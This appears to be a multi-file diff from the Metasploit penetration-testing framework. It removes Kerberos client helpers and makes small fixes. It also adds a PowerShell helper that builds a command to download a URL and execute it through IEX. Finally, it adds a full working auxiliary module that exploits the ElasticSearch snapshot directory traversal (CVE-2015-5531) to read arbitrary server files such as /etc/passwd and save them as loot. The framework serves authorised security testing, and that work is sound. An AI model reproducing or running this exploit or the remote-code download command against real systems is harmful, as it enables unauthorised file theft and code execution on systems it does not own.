||||||
|
|
||||||
# Builds the encrypted Kerberos TGS request
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
|
|
||||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
|
||||||
# @raise [RuntimeError] if ticket isn't available
|
|
||||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
|
||||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
|
||||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcRequest
|
|
||||||
def build_tgs_request(opts = {})
|
|
||||||
subkey = opts[:subkey] || build_subkey(opts)
|
|
||||||
|
|
||||||
if opts[:enc_auth_data]
|
|
||||||
enc_auth_data = opts[:enc_auth_data]
|
|
||||||
elsif opts[:auth_data]
|
|
||||||
enc_auth_data = build_enc_auth_data(
|
|
||||||
auth_data: opts[:auth_data],
|
|
||||||
subkey: subkey
|
|
||||||
)
|
|
||||||
else
|
|
||||||
enc_auth_data = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
body = build_tgs_request_body(opts.merge(
|
|
||||||
enc_auth_data: enc_auth_data
|
|
||||||
))
|
|
||||||
|
|
||||||
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
|
|
||||||
|
|
||||||
if opts[:auhtenticator]
|
|
||||||
authenticator = opts[:authenticator]
|
|
||||||
else
|
|
||||||
authenticator = build_authenticator(opts.merge(
|
|
||||||
subkey: subkey,
|
|
||||||
checksum: checksum
|
|
||||||
))
|
|
||||||
end
|
|
||||||
|
|
||||||
if opts[:ap_req]
|
|
||||||
ap_req = opts[:ap_req]
|
|
||||||
else
|
|
||||||
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
|
|
||||||
end
|
|
||||||
|
|
||||||
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
|
||||||
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
|
|
||||||
value: ap_req.encode
|
|
||||||
)
|
|
||||||
|
|
||||||
pa_data = []
|
|
||||||
pa_data.push(pa_ap_req)
|
|
||||||
if opts[:pa_data]
|
|
||||||
opts[:pa_data].each { |pa| pa_data.push(pa) }
|
|
||||||
end
|
|
||||||
|
|
||||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
|
||||||
pvno: 5,
|
|
||||||
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
|
|
||||||
pa_data: pa_data,
|
|
||||||
req_body: body
|
|
||||||
)
|
|
||||||
|
|
||||||
request
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds the encrypted TGS authorization data
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
|
|
||||||
# @raise [RuntimeError] if auth_data option isn't provided
|
|
||||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
|
||||||
def build_enc_auth_data(opts = {})
|
|
||||||
auth_data = opts[:auth_data]
|
|
||||||
|
|
||||||
if auth_data.nil?
|
|
||||||
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
|
|
||||||
end
|
|
||||||
|
|
||||||
subkey = opts[:subkey] || build_subkey(opts)
|
|
||||||
|
|
||||||
encrypted = auth_data.encrypt(subkey.type, subkey.value)
|
|
||||||
|
|
||||||
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
|
||||||
etype: subkey.type,
|
|
||||||
cipher: encrypted
|
|
||||||
)
|
|
||||||
|
|
||||||
e_data
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a KRB_AP_REQ message
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
|
||||||
# @option opts [Fixnum] :pvno
|
|
||||||
# @option opts [Fixnum] :msg_type
|
|
||||||
# @option opts [Fixnum] :ap_req_options
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
|
||||||
# @raise [RuntimeError] if ticket option isn't provided
|
|
||||||
# @see Rex::Proto::Kerberos::Model::Ticket
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
|
||||||
def build_ap_req(opts = {})
|
|
||||||
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
|
|
||||||
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
|
|
||||||
options = opts[:ap_req_options] || 0
|
|
||||||
ticket = opts[:ticket]
|
|
||||||
authenticator = opts[:authenticator] || build_authenticator(opts)
|
|
||||||
session_key = opts[:session_key] || build_subkey(opts)
|
|
||||||
|
|
||||||
if ticket.nil?
|
|
||||||
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
|
|
||||||
end
|
|
||||||
|
|
||||||
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
|
||||||
etype: session_key.type,
|
|
||||||
cipher: authenticator.encrypt(session_key.type, session_key.value)
|
|
||||||
)
|
|
||||||
|
|
||||||
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
|
|
||||||
pvno: pvno,
|
|
||||||
msg_type: msg_type,
|
|
||||||
options: options,
|
|
||||||
ticket: ticket,
|
|
||||||
authenticator: enc_authenticator
|
|
||||||
)
|
|
||||||
|
|
||||||
ap_req
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a kerberos authenticator for a TGS request
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
|
||||||
# @option opts [String] :realm
|
|
||||||
# @option opts [Time] :ctime
|
|
||||||
# @option opts [Fixnum] :cusec
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::Authenticator]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
|
||||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
|
||||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
|
||||||
def build_authenticator(opts = {})
|
|
||||||
cname = opts[:cname] || build_client_name(opts)
|
|
||||||
realm = opts[:realm] || ''
|
|
||||||
ctime = opts[:ctime] || Time.now
|
|
||||||
cusec = opts[:cusec] || ctime.usec
|
|
||||||
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
|
|
||||||
subkey = opts[:subkey] || build_subkey(opts)
|
|
||||||
|
|
||||||
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
|
|
||||||
vno: 5,
|
|
||||||
crealm: realm,
|
|
||||||
cname: cname,
|
|
||||||
checksum: checksum,
|
|
||||||
cusec: cusec,
|
|
||||||
ctime: ctime,
|
|
||||||
subkey: subkey
|
|
||||||
)
|
|
||||||
|
|
||||||
authenticator
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an encryption key to protect the data sent in the TGS request.
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
|
||||||
# @option opts [Fixnum] :subkey_type
|
|
||||||
# @option opts [String] :subkey_value
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
|
||||||
def build_subkey(opts={})
|
|
||||||
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
|
||||||
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
|
|
||||||
|
|
||||||
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
|
|
||||||
type: subkey_type,
|
|
||||||
value: subkey_value
|
|
||||||
)
|
|
||||||
|
|
||||||
subkey
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Builds a kerberos TGS request body
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
|
|
||||||
# @option opts [Fixnum] :options
|
|
||||||
# @option opts [Time] :from
|
|
||||||
# @option opts [Time] :till
|
|
||||||
# @option opts [Time] :rtime
|
|
||||||
# @option opts [Fixnum] :nonce
|
|
||||||
# @option opts [Fixnum] :etype
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
|
||||||
# @option opts [String] :realm
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
|
||||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
|
||||||
def build_tgs_request_body(opts = {})
|
|
||||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
|
||||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
|
||||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
|
||||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
|
||||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
|
||||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
|
||||||
cname = opts[:cname] || build_client_name(opts)
|
|
||||||
realm = opts[:realm] || ''
|
|
||||||
sname = opts[:sname] || build_server_name(opts)
|
|
||||||
enc_auth_data = opts[:enc_auth_data] || nil
|
|
||||||
|
|
||||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
|
||||||
options: options,
|
|
||||||
cname: cname,
|
|
||||||
realm: realm,
|
|
||||||
sname: sname,
|
|
||||||
from: from,
|
|
||||||
till: till,
|
|
||||||
rtime: rtime,
|
|
||||||
nonce: nonce,
|
|
||||||
etype: etype,
|
|
||||||
enc_auth_data: enc_auth_data
|
|
||||||
)
|
|
||||||
|
|
||||||
body
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a Kerberos TGS Request body checksum
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
|
|
||||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
|
||||||
# @return [Rex::Proto::Kerberos::Model::Checksum]
|
|
||||||
# @see #build_tgs_request_body
|
|
||||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
|
||||||
def build_tgs_body_checksum(opts = {})
|
|
||||||
body = opts[:body] || build_tgs_request_body(opts)
|
|
||||||
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
|
|
||||||
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
|
|
||||||
type: 7,
|
|
||||||
checksum: checksum_body
|
|
||||||
)
|
|
||||||
|
|
||||||
checksum
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,74 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/kerberos'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Kerberos
|
|
||||||
module Client
|
|
||||||
module TgsResponse
|
|
||||||
|
|
||||||
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
|
|
||||||
# from a Kerberos TGS response.
|
|
||||||
#
|
|
||||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
|
||||||
# @param key [String]
|
|
||||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
|
||||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
|
||||||
# @see Msf::Kerberos::Client::CacheCredential
|
|
||||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
|
||||||
def extract_kerb_creds(res, key)
|
|
||||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
|
|
||||||
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
|
||||||
|
|
||||||
client = create_cache_principal(
|
|
||||||
name_type: res.cname.name_type,
|
|
||||||
realm: res.crealm,
|
|
||||||
components: res.cname.name_string
|
|
||||||
)
|
|
||||||
|
|
||||||
server = create_cache_principal(
|
|
||||||
name_type: enc_res.sname.name_type,
|
|
||||||
realm: enc_res.srealm,
|
|
||||||
components: enc_res.sname.name_string
|
|
||||||
)
|
|
||||||
|
|
||||||
key = create_cache_key_block(
|
|
||||||
key_type: enc_res.key.type,
|
|
||||||
key_value: enc_res.key.value
|
|
||||||
)
|
|
||||||
|
|
||||||
times = create_cache_times(
|
|
||||||
auth_time: enc_res.auth_time,
|
|
||||||
start_time: enc_res.start_time,
|
|
||||||
end_time: enc_res.end_time,
|
|
||||||
renew_till: enc_res.renew_till
|
|
||||||
)
|
|
||||||
|
|
||||||
credential = create_cache_credential(
|
|
||||||
client: client,
|
|
||||||
server: server,
|
|
||||||
key: key,
|
|
||||||
time: times,
|
|
||||||
ticket: res.ticket.encode,
|
|
||||||
flags: enc_res.flags
|
|
||||||
)
|
|
||||||
|
|
||||||
cache_principal = create_cache_principal(
|
|
||||||
name_type: res.cname.name_type, # NT_PRINCIPAL
|
|
||||||
#realm: realm,# opts[:realm],
|
|
||||||
realm: res.crealm,
|
|
||||||
#components: user # [opts[:cname]]
|
|
||||||
components: res.cname.name_string
|
|
||||||
)
|
|
||||||
|
|
||||||
cache = create_cache(
|
|
||||||
primary_principal: cache_principal,
|
|
||||||
credentials: [credential]
|
|
||||||
)
|
|
||||||
|
|
||||||
cache
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -2989,7 +2989,7 @@ class Core
|
||||||
option_values_target_addrs().each do |addr|
|
option_values_target_addrs().each do |addr|
|
||||||
res << addr
|
res << addr
|
||||||
end
|
end
|
||||||
when 'LHOST'
|
when 'LHOST', 'SRVHOST'
|
||||||
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
||||||
if rh and not rh.empty?
|
if rh and not rh.empty?
|
||||||
res << Rex::Socket.source_address(rh)
|
res << Rex::Socket.source_address(rh)
|
||||||
|
@ -2997,9 +2997,9 @@ class Core
|
||||||
res << Rex::Socket.source_address
|
res << Rex::Socket.source_address
|
||||||
# getifaddrs was introduced in 2.1.2
|
# getifaddrs was introduced in 2.1.2
|
||||||
if Socket.respond_to?(:getifaddrs)
|
if Socket.respond_to?(:getifaddrs)
|
||||||
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
|
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
|
||||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
|
||||||
}
|
end
|
||||||
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -77,6 +77,22 @@ class Registry
|
||||||
client, root_key, base_key, perm, response.get_tlv(TLV_TYPE_HKEY).value)
|
client, root_key, base_key, perm, response.get_tlv(TLV_TYPE_HKEY).value)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks if a key exists on the target registry
|
||||||
|
#
|
||||||
|
# @param root_key [String] the root part of the key path. Ex: HKEY_LOCAL_MACHINE
|
||||||
|
# @param base_key [String] the base part of the key path
|
||||||
|
# @return [Boolean] true if the key exists on the target registry, false otherwise, even
|
||||||
|
# it the session hasn't permissions to access the target key.
|
||||||
|
# @raise [TimeoutError] if the timeout expires when waiting the answer
|
||||||
|
# @raise [Rex::Post::Meterpreter::RequestError] if the parameters are not valid
|
||||||
|
def Registry.check_key_exists(root_key, base_key)
|
||||||
|
request = Packet.create_request('stdapi_registry_check_key_exists')
|
||||||
|
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||||
|
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||||
|
response = client.send_request(request)
|
||||||
|
return response.get_tlv(TLV_TYPE_BOOL).value
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Opens the supplied registry key on the specified remote host. Requires that the
|
# Opens the supplied registry key on the specified remote host. Requires that the
|
||||||
# current process has credentials to access the target and that the target has the
|
# current process has credentials to access the target and that the target has the
|
||||||
|
|
|
@ -177,7 +177,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
|
||||||
|
|
||||||
def print_dhcp_load_options_usage
|
def print_dhcp_load_options_usage
|
||||||
print("dhcp_load_options <datastore> [-h]\n\n" +
|
print("dhcp_load_options <datastore> [-h]\n\n" +
|
||||||
"Load settings from a datstore to the active DHCP server.\n\n" +
|
"Load settings from a datastore to the active DHCP server.\n\n" +
|
||||||
"The datastore must be a hash of name/value pairs.\n" +
|
"The datastore must be a hash of name/value pairs.\n" +
|
||||||
"Valid names are:\n" +
|
"Valid names are:\n" +
|
||||||
@@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') +
|
@@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') +
|
||||||
|
|
|
@ -72,6 +72,22 @@ module Powershell
|
||||||
def self.ignore_ssl_certificate
|
def self.ignore_ssl_certificate
|
||||||
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
|
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Use the default system web proxy and credentials to download a URL
|
||||||
|
# as a string and execute the contents as PowerShell
|
||||||
|
#
|
||||||
|
# @param url [String] string to download
|
||||||
|
#
|
||||||
|
# @return [String] PowerShell code to download a URL
|
||||||
|
def self.proxy_aware_download_and_exec_string(url)
|
||||||
|
var = Rex::Text.rand_text_alpha(1)
|
||||||
|
cmd = "$#{var}=new-object net.webclient;"
|
||||||
|
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
|
||||||
|
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
|
||||||
|
cmd << "IEX $#{var}.downloadstring('#{url}');"
|
||||||
|
cmd
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -74,6 +74,21 @@ class Output < Rex::Ui::Output
|
||||||
def reset
|
def reset
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def puts(*args)
|
||||||
|
args.each do |argument|
|
||||||
|
line = argument.to_s
|
||||||
|
print_raw(line)
|
||||||
|
|
||||||
|
unless line.ends_with? "\n"
|
||||||
|
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
|
||||||
|
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
|
||||||
|
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
|
||||||
|
print_raw($INPUT_RECORD_SEPARATOR)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -71,22 +71,6 @@ class Output::Stdio < Rex::Ui::Text::Output
|
||||||
end
|
end
|
||||||
alias_method :write, :print_raw
|
alias_method :write, :print_raw
|
||||||
|
|
||||||
def puts(*args)
|
|
||||||
args.each do |argument|
|
|
||||||
line = argument.to_s
|
|
||||||
write(line)
|
|
||||||
|
|
||||||
unless line.ends_with? "\n"
|
|
||||||
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
|
|
||||||
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
|
|
||||||
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
|
|
||||||
write($INPUT_RECORD_SEPARATOR)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
def supports_color?
|
def supports_color?
|
||||||
case config[:color]
|
case config[:color]
|
||||||
when true
|
when true
|
||||||
|
|
|
@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
|
||||||
# Metasploit::Credential database models
|
# Metasploit::Credential database models
|
||||||
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
|
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
|
spec.add_runtime_dependency 'metasploit_data_models', '1.2.9'
|
||||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
|
|
|
@ -9,7 +9,7 @@ require 'rex'
|
||||||
class Metasploit4 < Msf::Auxiliary
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Kerberos::Client
|
include Msf::Exploit::Remote::Kerberos::Client
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
|
|
@ -9,7 +9,7 @@ require 'rex/java/serialization'
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Java::Rmi::Client
|
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
|
|
@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'DLink User-Agent Backdoor Scanner',
|
'Name' => 'D-Link User-Agent Backdoor Scanner',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module attempts to find DLink devices running Alphanetworks web interfaces affected
|
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
|
||||||
by the backdoor found on the User-Agent header. This module has been tested successfully
|
by the backdoor found on the User-Agent header. This module has been tested successfully
|
||||||
on a DIR-100 device with firmware version v1.13.
|
on a DIR-100 device with firmware version v1.13.
|
||||||
},
|
},
|
||||||
|
|
|
@ -0,0 +1,128 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'json'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'ElasticSearch Snapshot API Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
'This module exploits a directory traversal vulnerability in
|
||||||
|
ElasticSearch, allowing an attacker to read arbitrary files
|
||||||
|
with JVM process privileges, through the Snapshot API.'
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-5531'],
|
||||||
|
['PACKETSTORM', '132721']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Benjamin Smith', # Vulnerability Discovery
|
||||||
|
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit Module
|
||||||
|
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(9200),
|
||||||
|
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||||
|
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
|
||||||
|
deregister_options('RHOST')
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_host(ip)
|
||||||
|
res1 = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'),
|
||||||
|
'data' => '{"type":"fs","settings":{"location":"dsr"}}'
|
||||||
|
)
|
||||||
|
|
||||||
|
res2 = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'),
|
||||||
|
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'
|
||||||
|
)
|
||||||
|
|
||||||
|
if res1.body.include?('true') && res2.body.include?('true')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_file(file)
|
||||||
|
travs = '_snapshot/pwn/ev1l%2f'
|
||||||
|
|
||||||
|
payload = '../' * datastore['DEPTH']
|
||||||
|
|
||||||
|
travs << payload.gsub('/', '%2f')
|
||||||
|
travs << file.gsub('/', '%2f')
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Retrieving file contents...")
|
||||||
|
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => travs
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 400
|
||||||
|
return res.body
|
||||||
|
else
|
||||||
|
print_status("Server returned HTTP response code: #{res.code}")
|
||||||
|
print_status(res.body)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")
|
||||||
|
|
||||||
|
check_code = check_host(ip)
|
||||||
|
print_status("#{peer} - #{check_code.second}")
|
||||||
|
if check_host(ip) != Exploit::CheckCode::Appears
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
filename = datastore['FILEPATH']
|
||||||
|
filename = filename[1, filename.length] if filename =~ %r{/^\//}
|
||||||
|
|
||||||
|
contents = read_file(filename)
|
||||||
|
unless contents
|
||||||
|
print_error("#{peer} - No file downloaded")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
data_hash = JSON.parse(contents)
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
|
||||||
|
fname = datastore['FILEPATH']
|
||||||
|
|
||||||
|
path = store_loot(
|
||||||
|
'elasticsearch.traversal',
|
||||||
|
'text/plain',
|
||||||
|
ip,
|
||||||
|
fcontent,
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
print_good("#{peer} - File saved in: #{path}")
|
||||||
|
end
|
||||||
|
end
|
|
